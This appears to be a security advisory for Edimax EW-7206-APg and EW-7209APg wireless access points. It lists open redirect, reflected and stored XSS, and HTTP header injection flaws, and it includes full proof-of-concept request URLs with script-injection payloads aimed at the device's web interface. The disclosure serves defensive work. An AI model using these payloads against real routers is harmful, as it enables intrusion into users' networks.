Edimax EW-7206-APg and EW-7209APg - Multiple Vulnerabilities

============ Vulnerability Overview: ============
 
* URL Redirection:
    Parameter:  submit-url and wlan_url
 
http://192.168.178.175/goform/formWirelessTbl?submit-url=http://www.google.de
 
http://192.168.178.175/goform/formWlanSetup?apMode=0&band=2&ssid=test&chan=11&macAddrValue=5C260A2BF03F&wlanMacClone=0&wlanMac=000000000000&autoMacClone=no&repeaterSSID=&wlLinkMac1=000000000000&wlLinkMac2=000000000000&wlLinkMac3=000000000000&wlLinkMac4=000000000000&wlLinkMac5=000000000000&wlLinkMac6=000000000000&x=57&y=20&wlan-url=http://www.pwnd.pwnd
 
* reflected XSS:
    Parameter:  submit-url and wlan-url
                 
Injecting scripts into the parameter submit-url or wlan-url reveals that this parameter is not properly validated for malicious input.
 
Example Exploit:
http://192.168.178.175/goform/formWlanSetup?apMode=0&band=2&ssid=&chan=11&macAddrValue=&wlanMacClone=0&wlanMac=&autoMacClone=no&repeaterSSID=&wlLinkMac1=&wlLinkMac2=&wlLinkMac3=&wlLinkMac4=&wlLinkMac5=&wlLinkMac6=&x=54&y=12&wlan-url=test><script>alert('XSSed')</script>test
 
* stored XSS
 
    * in System Utility -> Domain Name:
        => parameter: DomainName
         
Injecting scripts into the parameter DomainName reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.
 
http://192.168.178.175/goform/formTcpipSetup?oldpass=&newpass=&confpass=&ip=192.168.178.175&mask=255.255.255.0&gateway=0.0.0.0&dhcp=2&DhcpGatewayIP=0.0.0.0&DhcpNameServerIP=0.0.0.0&dhcpRangeStart=192.168.178.100&dhcpRangeEnd=192.168.178.200&DomainName="><script>alert(2)</script>&leaseTimeGet=946080000&leaseTime=946080000&B1.x=52&B1.y=21&submit-url=%2Fsysutility.asp&ipChanged=
 
    * Stored XSS in wireless settings / basic settings -> ESSID
        -> The injected script code gets executed within the device information
 
Injecting scripts into the parameter ssid reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

* HTTP Header Injection:
 
    Parameter: submit-url
 
Injecting code into the parameter submit-url mode reveals that this parameter is not properly validated for malicious input and so it is possible to manipulate the header information.
